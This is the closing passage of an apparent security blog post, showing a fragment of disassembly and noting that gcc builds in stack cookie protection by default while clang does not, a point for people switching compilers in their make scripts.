  57:   66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
  5e:   00 00 

This may be relevant for people replacing gcc in their make scripts with clang (e.g. replacing CXX=gcc with CXX=clang). By default the stack cookie protection on gcc is built in, on clang it is not.

Posted in Code Auditing, Compilers, Exploitation Mitigation Techniques | Leave a comment